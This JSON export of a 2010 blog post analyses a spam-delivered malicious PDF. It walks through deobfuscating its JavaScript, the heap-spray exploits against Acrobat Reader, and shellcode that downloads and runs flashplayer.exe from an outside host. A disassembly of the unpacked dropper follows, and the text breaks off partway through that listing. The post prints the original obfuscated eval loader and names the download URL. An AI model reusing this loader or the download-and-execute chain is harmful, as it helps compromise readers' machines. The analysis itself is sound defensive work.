{"id":5516,"date":"2010-11-18T14:25:51","date_gmt":"2010-11-18T13:25:51","guid":{"rendered":"http:\/\/www.corelan.be:8800\/?p=5516"},"modified":"2010-11-18T14:25:51","modified_gmt":"2010-11-18T13:25:51","slug":"malicious-pdf-analysis-from-price-zip-to-flashplayer-exe","status":"publish","type":"post","link":"https:\/\/www.corelan.be\/index.php\/2010\/11\/18\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\/","title":{"rendered":"Malicious pdf analysis : from price.zip to flashplayer.exe"},"content":{"rendered":"<h3>Introduction<\/h3>\n<p>This morning, my <a href=\"\/index.php\/2008\/07\/21\/free-tool-attachment-filtering-with-exchange-2007-custom-transport-agent\/\" target=\"_blank\" rel=\"noopener\">generic attachment filter<\/a> for MS Exchange reported about 100 emails that have been put in quarantine because they contained a small zip file :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image52.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb51.png\" width=\"614\" height=\"391\" \/><\/a><\/p>\n<p>Email header :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">Received: from hosting1.i-excom.net ([87.106.13.96])  \n   18 Nov 2010 10:23:47 +0100\nReceived: (qmail 558 invoked from network);\n   18 Nov 2010 10:22:46 +0100\nReceived: from 41-135-4-212.dsl.mweb.co.za (HELO 192.168.2.3) (41.135.4.212) \n         by hosting1.i-excom.net <span style=\"color: #0000ff\">with<\/span> SMTP;\n   18 Nov 2010 10:22:43 +0100\nReceived: from [10.10.0.11] by 192.168.2.3 id ib1m4s-000JkE-00;\n   Thu, 18 Nov2010 11:49:01 +0200\nMessage-ID: &lt;009601cb8704$ef9f3b00$0b000a0a@192.168.2.3&gt;\nFrom: &lt;pichi5@ozu.es&gt;\nTo: &lt;xxxxxxxxxxxxxxxx&gt;\nSubject: Re: lista de precios!\n<span style=\"color: #0000ff\">Date<\/span>: Thu, 18 Nov 2010 11:49:01 +0200\nMIME-Version: 1.0\nContent-Type: multipart\/mixed;\n   boundary=&quot;<span style=\"color: #8b0000\">----------B21C218F271B9A77<\/span>&quot;\nReturn-Path: pichi5@ozu.es<\/pre>\n<p>When looking inside the zip file, I found a small pdf file\u2026&#160; I immediately figured this file was up to no good, so it was time to get my hands dirty \ud83d\ude42<\/p>\n<p>This morning, VirusTotal reports that the pdf file is clean (0\/43)\u2026&#160; But that doesn't mean anything, does it.<\/p>\n<p>When running the same analysis again (4 hours later), only 2 vendors seem to be catching it : PCTools and Symantec :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image56.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb55.png\" width=\"613\" height=\"273\" \/><\/a><\/p>\n<p>What follows are some short notes about the malicious pdf analysis :<\/p>\n<h3>Analysing the pdf file<\/h3>\n<p>First, I ran pdfid.py and <a href=\"http:\/\/blog.didierstevens.com\/programs\/pdf-tools\/\" target=\"_blank\" rel=\"noopener\">pdf-parser.py<\/a> against the pdf file. <\/p>\n<p>pdfif.py shows that the file contains javascript :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">root@bt:\/pentest\/pdf# .\/pdfid.py price.pdf\nPDFiD 0.0.11 price.pdf\n PDF Header: %PDF-1.3\n obj                    3\n endobj                 3\n stream                 0\n endstream              0\n xref                   1\n trailer                1\n startxref              1\n \/Page                  0\n \/Encrypt               0\n \/ObjStm                0\n \/JS                    1\n \/JavaScript            2\n \/AA                    0\n \/OpenAction            0\n \/AcroForm              0\n \/JBIG2Decode           0\n \/RichMedia             0\n \/Launch                0\n \/Colors &gt; 2^24         0<\/pre>\n<p>Both &quot;strings&quot; and &quot;pdf-parser.py&quot; indicate that there are 2 &quot;interesting&quot; objects :<\/p>\n<h4>object 1 0 : contains javascript code<\/h4>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image53.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb52.png\" width=\"449\" height=\"498\" \/><\/a><\/p>\n<h4>object 3 0 : contains a big array (\/Producer tag)<\/h4>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image91.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image91_thumb.png\" width=\"669\" height=\"231\" \/><\/a><\/p>\n<p>At first sight, I would expect that the the javascript code will use the array one way or another to reproduce payload &amp; execute it\u2026 Let's figure out how it's been done :<\/p>\n<h3>De-obfuscating &amp; Re-assembling the original payload<\/h3>\n<p>The javascript code was slightly obfuscated and will<\/p>\n<ul>\n<li>use String.fromCharCode to convert ascii values to char <\/li>\n<li>subtract one value from another in the array to get to the ascii value (that gets converted to char) <\/li>\n<li>all chars together result in a new javascript routine <\/li>\n<li>execute the routine using eval <\/li>\n<\/ul>\n<p>Original code :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">vc = \\(<span style=\"color: #0000ff\">function<\/span>\\(\\){<span style=\"color: #0000ff\">return<\/span> <span style=\"color: #0000ff\">this<\/span>;}\\).call\\(<span style=\"color: #0000ff\">null<\/span>\\);\new = <span style=\"color: #0000ff\">new<\/span> <span style=\"color: #0000ff\">Date<\/span>\\(\\);\n<span style=\"color: #0000ff\">var<\/span> kx='';\n<span style=\"color: #0000ff\">var<\/span> mxkk = 'e'+\\(<span style=\"color: #0000ff\">parseInt<\/span>\\(ew.getFullYear\\(\\)\\)-1\\)+'a'+kx+'l';\nyh=vc[mxkk.replace\\('2009','v'\\)];\n<span style=\"color: #0000ff\">function<\/span> qm\\(\\){\n        <span style=\"color: #0000ff\">var<\/span> agno='',apx=[];\n        <span style=\"color: #0000ff\">var<\/span> kx='';\n        yh\\('va'+kx+'r mirx=th'+kx+'i'+kx+'s'\\);\n        yh\\('va'+kx+'r ib=Str'+kx+'ing.f'+kx+'romC'+kx+'harCode'\\);\n        <span style=\"color: #0000ff\">var<\/span> qkm='prod' + ew.getFullYear\\(\\)+'er';\n        <span style=\"color: #0000ff\">var<\/span> fz = mirx[qkm.replace\\('2010','uc'\\)];\n        <span style=\"color: #0000ff\">var<\/span> aqa = '' + ew.getFullYear\\(\\) + kx + 'i'+kx+'t';\n        <span style=\"color: #0000ff\">var<\/span> ws = 's' + aqa.replace\\('2010','pl'\\);\n        <span style=\"color: #0000ff\">var<\/span> fwrb='2010';\n        fwrb = fwrb.replace\\(ew.getFullYear\\(\\),''\\);\n        yh\\('va'+fwrb+'r n' + kx + 'r=[' + fz + fwrb + ']'\\);\n        <span style=\"color: #0000ff\">var<\/span> ji = nr;\n        vofw='le'+kx+'ng'+kx+'th';\n        <span style=\"color: #0000ff\">var<\/span> ra = ji[vofw]\n   \/ 2;\n        <span style=\"color: #0000ff\">for<\/span> \\(<span style=\"color: #0000ff\">var<\/span> kdx = 0; kdx &lt; ra; kdx++\\) {\n                agno += ib\\(ji[kdx+ra] - ji[kdx]\\);\n        }\n        <span style=\"color: #0000ff\">return<\/span> agno;\n        }\n        <span style=\"color: #0000ff\">var<\/span> ga=qm\\(\\);\n        yh\\(ga\\);<\/pre>\n<p>\n  <br \/>I modified the code so I could retrieve the decoded\/de-obfuscated payload : <\/p>\n<p><\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">vc = (<span style=\"color: #0000ff\">function<\/span>() { <span style=\"color: #0000ff\">return<\/span> <span style=\"color: #0000ff\">this<\/span>; }).call(<span style=\"color: #0000ff\">null<\/span>);\new = <span style=\"color: #0000ff\">new<\/span> <span style=\"color: #0000ff\">Date<\/span>();\n<span style=\"color: #0000ff\">var<\/span> kx='';\n<span style=\"color: #0000ff\">var<\/span> mxkk = 'e'+(<span style=\"color: #0000ff\">parseInt<\/span>(ew.getFullYear())-1)+'a'+kx+'l';\nyh=vc[mxkk.replace('2009','v')];\n\n<span style=\"color: #0000ff\">function<\/span> qm()\n{\n    <span style=\"color: #0000ff\">alert<\/span>(&quot;<span style=\"color: #8b0000\">Inside function<\/span>&quot;);\n    <span style=\"color: #0000ff\">var<\/span> agno='';\n    <span style=\"color: #0000ff\">var<\/span> apx=[];\n    <span style=\"color: #0000ff\">var<\/span> kx='';\n    <span style=\"color: #0000ff\">var<\/span> producer = [1008,... ];   <span style=\"color: #008000\">\/\/ insert the array from the Producer tag here<\/span>\n    yh('va'+kx+'r mirx=th'+kx+'i'+kx+'s');\n    yh('va'+kx+'r ib=Str'+kx+'ing.f'+kx+'romC'+kx+'harCode');\n    <span style=\"color: #0000ff\">var<\/span> qkm='prod' + ew.getFullYear()+'er';\n    <span style=\"color: #0000ff\">var<\/span> fz = mirx[qkm.replace('2010','uc')];\n    <span style=\"color: #0000ff\">var<\/span> aqa = '' + ew.getFullYear() + kx + 'i'+kx+'t';\n    <span style=\"color: #0000ff\">var<\/span> ws = 's' + aqa.replace('2010','pl');\n    <span style=\"color: #0000ff\">var<\/span> fwrb='2010';\n    fwrb = fwrb.replace(ew.getFullYear(),'');\n    yh('va'+fwrb+'r n' + kx + 'r=[' + fz + fwrb + ']');\n    <span style=\"color: #0000ff\">var<\/span> ji = nr;\n    vofw='le'+kx+'ng'+kx+'th';\n    <span style=\"color: #0000ff\">var<\/span> ra = producer.<span style=\"color: #0000ff\">length<\/span> \/ 2;\n      <span style=\"color: #0000ff\">for<\/span> (<span style=\"color: #0000ff\">var<\/span> kdx = 0; kdx &lt; ra; kdx++)\n      {\n            agno += <span style=\"color: #0000ff\">String<\/span>.fromCharCode( producer[kdx+ra] - producer[kdx] );\n      }\n      <span style=\"color: #0000ff\">alert<\/span>(agno);\n}\n<span style=\"color: #0000ff\">var<\/span> ga=qm();\nyh(ga);<\/pre>\n<p>Some highlights from the code :<\/p>\n<ul>\n<li>mxkk = eval() <\/li>\n<li>var ib = string.fromCharCode <\/li>\n<li>ws = split() <\/li>\n<\/ul>\n<p>When running the javascript, you will get this :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image55.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb54.png\" width=\"649\" height=\"410\" \/><\/a><\/p>\n<p>\u2026 and that looks like another javascript routine to me \ud83d\ude42<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/clip_image002.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"clip_image002\" border=\"0\" alt=\"clip_image002\" src=\"\/wp-content\/uploads\/2010\/11\/clip_image002_thumb.jpg\" width=\"695\" height=\"342\" \/><\/a><\/p>\n<p>As you can see in this code :<\/p>\n<ul>\n<li>payload is stored in the xp variable <\/li>\n<li>it uses heap sprays (trying to jump to 0c0c0c0c and\/or 0a0a0a0a) etc <\/li>\n<li>it tries to trigger overflows by attempting to abuse a number of bugs in Acrobat Reader (util.printf(), media.newPlayer(), and others) -&#160; CVE-2008-2992, CVE-2009-4324, CVE-2007-5659, CVE-2009-0927 and perhaps others.&#160; Exploit kit FTW \ud83d\ude42 <\/li>\n<\/ul>\n<p>Note : you can use online services to analyse pdf files as well :<\/p>\n<ul>\n<li><a href=\"https:\/\/web.archive.org\/web\/20181021014235\/http:\/\/jsunpack.jeek.org:80\/dec\/go\">http:\/\/jsunpack.jeek.org\/dec\/go<\/a> <\/li>\n<\/ul>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image66.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb65.png\" width=\"741\" height=\"258\" \/><\/a><\/p>\n<ul>\n<li><a href=\"https:\/\/web.archive.org\/web\/20200204234444\/http:\/\/malwaretracker.com:80\/pdf.php\">http:\/\/www.malwaretracker.com\/pdf.php<\/a> <\/li>\n<\/ul>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image67.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb66.png\" width=\"724\" height=\"333\" \/><\/a><\/p>\n<ul>\n<li><a href=\"http:\/\/sandsprite.com\/blogs\/index.php?uid=7&amp;pid=57\" target=\"_blank\" rel=\"noopener\">PDF Stream dumper<\/a> : (Tools - View Exploit detections) <\/li>\n<\/ul>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image68.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb67.png\" width=\"663\" height=\"380\" \/><\/a><\/p>\n<p>&#160;<\/p>\n<h3>Analyzing the payload<\/h3>\n<p>I converted the payload in the xp variable to bytes and used shellcodetest.c to run the payload and opened the shellcodetest executable in immunity debugger :<\/p>\n<p>The payload itself (in var \u2018xp\u2019) uses a typical GetPC routine (so it can run from anywhere in memory) and then starts by decoding the actual payload (XOR AL,1B) :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image57.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb56.png\" width=\"709\" height=\"305\" \/><\/a><\/p>\n<p>After the decoder stub has ended, the decoded payload starts by getting a pointer to urlmon (string stored on the stack), so apparently it will attempt to load that dll and use one or more functions in that dll :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image58.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb57.png\" width=\"707\" height=\"166\" \/><\/a><\/p>\n<p>Then the code locates the base of kernel32 (so it can dynamically load the dll if it\u2019s not loaded already)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image59.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb58.png\" width=\"703\" height=\"204\" \/><\/a><\/p>\n<p>The function pointer to loadlibrary is located and stored in eax :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image60.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb59.png\" width=\"703\" height=\"152\" \/><\/a><\/p>\n<p>And then it loads urlmon.dll<\/p>\n<p>Next, it located the URLDownloadToCacheFileA function inside urlmon.dll<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image61.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb60.png\" width=\"702\" height=\"276\" \/><\/a><\/p>\n<p>The code attempts to download file http:\/\/fryloop.net\/flashplayer.exe and stores it in the temporary internet files.&#160; I bet that's not a real flashplayer \ud83d\ude42<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image62.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb61.png\" width=\"698\" height=\"123\" \/><\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image63.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb62.png\" width=\"699\" height=\"95\" \/><\/a><\/p>\n<p>As one could expect, it then looks up the function pointer for CreateProcessA<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image64.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb63.png\" width=\"696\" height=\"299\" \/><\/a><\/p>\n<p>and executes the downloaded binary :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image65.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb64.png\" width=\"692\" height=\"142\" \/><\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/clip_image017.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"clip_image017\" border=\"0\" alt=\"clip_image017\" src=\"\/wp-content\/uploads\/2010\/11\/clip_image017_thumb.jpg\" width=\"707\" height=\"163\" \/><\/a><\/p>\n<h3>Analyzing flashplayer.exe<\/h3>\n<p>The downloaded executable looks pretty simple when seen in a disassembler (IDA) :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image69.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb68.png\" width=\"405\" height=\"328\" \/><\/a><\/p>\n<p>This most likely means that it will decode\/unpack first (and recreate the real payload at runtime).<\/p>\n<p>When opening the binary in a debugger and stepping through the initial instructions, we can see that the code allocates RWX memory in the heap : (1384 bytes)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image70.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb69.png\" width=\"644\" height=\"241\" \/><\/a><\/p>\n<p>Next, an iteration is executed, which decodes data and writes it to the new location in the heap. The decoding uses a SUB and XOR instruction, using 2 static keys<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image71.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb70.png\" width=\"518\" height=\"406\" \/><\/a><\/p>\n<p>After the decoder has finished, the following code has been written to the heap:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">00890000   55               PUSH EBP\n00890001   58               POP EAX\n00890002   58               POP EAX\n00890003   5E               POP ESI\n00890004   83C4 F4          ADD ESP,-0C\n00890007   E8 1A000000      CALL 00890026\n0089000C   80D5 03          ADC CH,3\n0089000F   7B 72            JPO SHORT 00890083\n00890011   006E 00          ADD BYTE PTR DS:[ESI],CH\n00890014   65:006C00 33     ADD BYTE PTR GS:[EAX+EAX+33],CH\n00890019   0032             ADD BYTE PTR DS:[EDX],DH\n0089001B   002E             ADD BYTE PTR DS:[ESI],CH\n0089001D   006400 6C        ADD BYTE PTR DS:[EAX+EAX+6C],AH\n00890021   006C00 00        ADD BYTE PTR DS:[EAX+EAX],CH\n00890025   0058 50          ADD BYTE PTR DS:[EAX+50],BL\n00890028   8100 CB2A6185    ADD DWORD PTR DS:[EAX],85612ACB\n0089002E   FFD6             CALL ESI\n00890030   8BD8             MOV EBX,EAX\n00890032   0343 3C          ADD EAX,DWORD PTR DS:[EBX+3C]\n00890035   8178 50 00800400 CMP DWORD PTR DS:[EAX+50],48000\n0089003C   76 2B            JBE SHORT 00890069\n0089003E   E8 C2040000      CALL 00890505\n00890043   5D               POP EBP\n00890044   8BF5             MOV ESI,EBP\n00890046   B9 11000000      MOV ECX,11\n0089004B   AD               LODS DWORD PTR DS:[ESI]\n0089004C   E8 AE020000      CALL 008902FF\n00890051   8946 FC          MOV DWORD PTR DS:[ESI-4],EAX\n00890054  ^E2 F5            LOOPD SHORT 0089004B\n00890056   E8 39040000      CALL 00890494\n0089005B   FFD6             CALL ESI\n0089005D   5E               POP ESI\n0089005E   873424           XCHG DWORD PTR SS:[ESP],ESI\n00890061   56               PUSH ESI\n00890062   E8 EE030000      CALL 00890455\n00890067   E8 56040000      CALL 008904C2\n0089006C   8BF8             MOV EDI,EAX\n0089006E   6A 00            PUSH 0\n00890070   6A 00            PUSH 0\n00890072   FF75 50          PUSH DWORD PTR SS:[EBP+50]\n00890075   57               PUSH EDI\n00890076   FF55 30          CALL DWORD PTR SS:[EBP+30]\n00890079   50               PUSH EAX\n0089007A   8BC4             MOV EAX,ESP\n0089007C   6A 00            PUSH 0\n0089007E   50               PUSH EAX\n0089007F   FF75 54          PUSH DWORD PTR SS:[EBP+54]\n00890082   56               PUSH ESI\n00890083   57               PUSH EDI\n00890084   FF55 34          CALL DWORD PTR SS:[EBP+34]\n00890087   58               POP EAX\n00890088   57               PUSH EDI\n00890089   FF55 18          CALL DWORD PTR SS:[EBP+18]\n0089008C   E8 38030000      CALL 008903C9\n00890091   56               PUSH ESI\n00890092   8B4D 54          MOV ECX,DWORD PTR SS:[EBP+54]\n00890095   8D3C31           LEA EDI,DWORD PTR DS:[ECX+ESI]\n00890098   D1E9             SHR ECX,1\n0089009A   4F               DEC EDI\n0089009B   8A17             MOV DL,BYTE PTR DS:[EDI]\n0089009D   AC               LODS BYTE PTR DS:[ESI]\n0089009E   8856 FF          MOV BYTE PTR DS:[ESI-1],DL\n008900A1   8807             MOV BYTE PTR DS:[EDI],AL\n008900A3  ^E2 F5            LOOPD SHORT 0089009A\n008900A5   5E               POP ESI\n008900A6   8B46 3C          MOV EAX,DWORD PTR DS:[ESI+3C]\n008900A9   8D0406           LEA EAX,DWORD PTR DS:[ESI+EAX]\n008900AC   66:F740 16 0020  TEST WORD PTR DS:[EAX+16],2000\n008900B2   75 16            JNZ SHORT 008900CA\n008900B4   3958 34          CMP DWORD PTR DS:[EAX+34],EBX\n008900B7   74 11            JE SHORT 008900CA\n008900B9   8B58 34          MOV EBX,DWORD PTR DS:[EAX+34]\n008900BC   6A 04            PUSH 4\n008900BE   68 00300000      PUSH 3000\n008900C3   FF70 50          PUSH DWORD PTR DS:[EAX+50]\n008900C6   53               PUSH EBX\n008900C7   FF55 10          CALL DWORD PTR SS:[EBP+10]\n008900CA   8B7D 58          MOV EDI,DWORD PTR SS:[EBP+58]\n008900CD   50               PUSH EAX\n008900CE   54               PUSH ESP\n008900CF   6A 04            PUSH 4\n008900D1   57               PUSH EDI\n008900D2   53               PUSH EBX\n008900D3   FF55 0C          CALL DWORD PTR SS:[EBP+C]\n008900D6   54               PUSH ESP\n008900D7   6A 02            PUSH 2\n008900D9   57               PUSH EDI\n008900DA   53               PUSH EBX\n008900DB   56               PUSH ESI\n008900DC   8BCF             MOV ECX,EDI\n008900DE   8BFB             MOV EDI,EBX\n008900E0   F3:A4            REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[&gt;\n008900E2   5E               POP ESI\n008900E3   FF55 0C          CALL DWORD PTR SS:[EBP+C]\n008900E6   58               POP EAX\n008900E7   8BCE             MOV ECX,ESI\n008900E9   0349 3C          ADD ECX,DWORD PTR DS:[ECX+3C]\n008900EC   8D79 18          LEA EDI,DWORD PTR DS:[ECX+18]\n008900EF   8B57 20          MOV EDX,DWORD PTR DS:[EDI+20]\n008900F2   0FB741 14        MOVZX EAX,WORD PTR DS:[ECX+14]\n008900F6   03F8             ADD EDI,EAX\n008900F8   0FB749 06        MOVZX ECX,WORD PTR DS:[ECX+6]\n008900FC   60               PUSHAD\n008900FD   8B47 14          MOV EAX,DWORD PTR DS:[EDI+14]\n00890100   85C0             TEST EAX,EAX\n00890102   74 41            JE SHORT 00890145\n00890104   8B47 08          MOV EAX,DWORD PTR DS:[EDI+8]\n00890107   85C0             TEST EAX,EAX\n00890109   74 3A            JE SHORT 00890145\n0089010B   E8 70030000      CALL 00890480\n00890110   8BC8             MOV ECX,EAX\n00890112   8B47 24          MOV EAX,DWORD PTR DS:[EDI+24]\n00890115   E8 6F020000      CALL 00890389\n0089011A   0377 14          ADD ESI,DWORD PTR DS:[EDI+14]\n0089011D   FF77 10          PUSH DWORD PTR DS:[EDI+10]\n00890120   8B7F 0C          MOV EDI,DWORD PTR DS:[EDI+C]\n00890123   03FB             ADD EDI,EBX\n00890125   5B               POP EBX\n00890126   50               PUSH EAX\n00890127   8BD4             MOV EDX,ESP\n00890129   52               PUSH EDX\n0089012A   50               PUSH EAX\n0089012B   51               PUSH ECX\n0089012C   57               PUSH EDI\n0089012D   51               PUSH ECX\n0089012E   52               PUSH EDX\n0089012F   6A 04            PUSH 4\n00890131   51               PUSH ECX\n00890132   57               PUSH EDI\n00890133   FF55 0C          CALL DWORD PTR SS:[EBP+C]\n00890136   59               POP ECX\n00890137   33C0             XOR EAX,EAX\n00890139   57               PUSH EDI\n0089013A   F3:AA            REP STOS BYTE PTR ES:[EDI]\n0089013C   5F               POP EDI\n0089013D   8BCB             MOV ECX,EBX\n0089013F   F3:A4            REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[&gt;\n00890141   FF55 0C          CALL DWORD PTR SS:[EBP+C]\n00890144   58               POP EAX\n00890145   61               POPAD\n00890146   83C7 28          ADD EDI,28\n00890149  ^E2 B1            LOOPD SHORT 008900FC\n0089014B   E8 05010000      CALL 00890255\n00890150   E8 7B000000      CALL 008901D0\n00890155   58               POP EAX\n00890156   68 00400000      PUSH 4000\n0089015B   FF75 54          